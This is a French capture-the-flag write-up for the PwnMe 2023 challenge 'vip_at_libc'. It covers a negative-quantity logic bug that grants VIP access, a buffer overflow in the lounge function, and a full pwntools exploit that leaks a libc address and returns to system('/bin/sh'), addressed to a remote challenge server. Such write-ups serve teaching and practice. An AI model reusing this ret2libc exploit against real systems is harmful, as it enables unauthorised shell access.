4 minutes
🇫🇷 PwnMe 2023 - pwn/vip_at_libc
Note
VIP at LIBC était un challenge de pwn issu du PwnMe CTF 2023. Un challenge d’intro (??) très sympa, avec un petit plus qui lui permet de se démarquer des classiques ret2libc
.
Description
Sooo I heard that if you were VIP, you could access some specific features!
Maybe one of those features can be used to get inside their system?
Author: Zerotistic#0001
Analyse du fichier
On a le binaire et la libc
qui va avec, ça nous indique déjà qu’on va probablement devoir interagir avec.
On peut commencer par regarder rapidement à quoi on s’attaque grâce aux commandes file et checksec:
file original && checksec original
original: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c62621cd085e6fcda874f1bd9d8983cd18d0b051, for GNU/Linux 4.4.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Il s’agit d’un ELF en 64 bits protégé par NX
.
On va le run pour avoir une idée de ce qu’il fait:
Il nous demande notre username, puis on accède à un menu avec 4 options
On va lancer Ghidra
pour comprendre un peut mieux comment le programme fonctionne.
Main
Après avoir renommé le variable de buffer, on voit qu’il n’y a a priori pas de vulnérabilité dans la fonction main()
, le buffer dans lequel est stocké l’username est de la même taille que le fgets()
donc ça me paraît bon.
On voit qu’elle appelle une fonction menu()
, on va s’y intéresser
Menu
Après avoir renommé les variables buffer et money (qui stockent l’argent de l’utilisateur), on regarde les différentes options:
- Affiche l’argent de l’utilisateur
- Appelle la fonction
buy_ticket()
- Appelle la fonction
buy_vip_ticket()
puis met à jour des variables ainsi que la money - Si l’utilisateur a assez d’argent, appelle la fonction
access_lounge()
, sinon affiche un message
On va regarder un peu les fonctions unes par unes et voir si on peut trouver des vuln
buy_ticket
Après s’être faits rickroll de plein fouet, on peut s’attarder sur la manière dont le choix de quantité. En effet, la fonction ne vérifie pas si notre input est négatif, en entrant un nombre négatif dans l’input de quantité, notre money va augmenter au lieu de diminuer (comme elle le devrait si on achetait une quantité positive).
Ok, on sait comment abuser d’un logic bug pour avoir de l’argent infini, maintenant il faut savoir à quoi il va nous servir
buy_vip_ticket
Si l’utilisateur a sufisamment d’argent, un input lui permet de confirmer l’action et il devient VIP
access_lounge
Cette dernière fonction n’est accessible que si nous sommes VIP, mais puisque nous avons un bug pour le devenir, ce n’est pas un problème.
Et nous avons enfin notre vuln ! Le fgets
lit 0x100
bytes et les stocke quand un buffer de 16
bytes, on a donc ici une buffer overflow.
TLDR: Vulnérabilités
- L’option 2 nous permet de dupliquer notre argent en entrant un nombre négatif
- Le bug précédent nous permet de devenir VIP et de créer un lounge
- Dans la création du lounge il y a une buffer overflow qui va nous permettre d’obtenir notre shell
Plan d’attaque
La première étape de notre exploit va donc être d’avoir accès au salon VIP pour avoir la BOF
, puis grâce à cette dernière on va leak une adresse de la libc
et retourner au main
, puis réaccéder au VIP et appeller system
via la BOF.
Logic bug -> ret2main (with leaks) -> ret2system
Je ne montrerai pas dans ce post comment récupérer les différentes adresses statiques, je vous invite à aller voir mes posts de pwn précédents si ça vous initéresse
Exploit
Voici mon exploit final:
#!/usr/bin/python3
from pwn import *
context.update(arch='x86_64')
context.binary = elf = ELF("vip_at_libc_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
def start():
if args.REMOTE:
r = remote("51.254.39.184", 1335)
else:
r = process()
gdb.attach(r)
return r
io = start()
def see_current_balance(conn):
log.info("seeing current balance")
conn.sendlineafter(b">", b"1")
return conn.recvuntil(b"$").replace(b"\n", b"").strip().decode()
def buy_ticket(conn, choice, amount):
log.info("buying ticket")
conn.sendlineafter(b">", b"2")
conn.sendlineafter(b">", choice)
conn.sendlineafter(b">", amount)
return
def buy_vip_ticket(conn):
log.info("buying VIP ticket")
io.sendlineafter(b">", b"3")
io.sendlineafter(b">", b"1")
return
def create_vip_lounge(conn, name):
log.info("creating VIP lounge")
conn.sendlineafter(b">", b"4")
conn.sendlineafter(b">", name)
return io.recvuntil(b"want.")
# =============================================================================
# =-=-=- Un jour je serai le meilleur pwner -=-=-=
pop_rdi_ret = 0x0000000000401186
puts_plt = 0x0000000000401030
ret = 0x000000000040101a
payload = b"Y"*24
payload += p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(puts_plt)
payload += p64(elf.sym["main"])
io.sendlineafter(b"username: ", b"conflict")
# Dupliquer l'argent
buy_ticket(io, b"1", b"-5000000")
# Devenir VIP = avoir accès au lounge
buy_vip_ticket(io)
# Créer un lounge avec le premier payload pour leak
create_vip_lounge(io, payload)
puts_leak = u64(io.recv().split(b"\n")[3].ljust(8, b'\x00'))
log.success("Leaked puts @ " + hex(puts_leak))
libc.address = puts_leak - (0x7f5c61e80ed0 - 0x7f5c61e00000)
log.success("Resolved libc @ " + hex(libc.address))
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym["system"]
log.success("/bin/sh @ " + hex(bin_sh))
log.success("system @ " + hex(system))
payload = b"Y"*24 + p64(ret)
payload += p64(pop_rdi_ret) + p64(bin_sh)
payload += p64(system)
# Puisqu'on est au main, il faut re-entrer notre username
io.sendline(b"conflict")
# Refaire la manip pour être vip
buy_ticket(io, b"1", b"-5000000")
buy_vip_ticket(io)
# Payload final, on devrait avoir un shell
create_vip_lounge(io, payload)
# =============================================================================
io.interactive()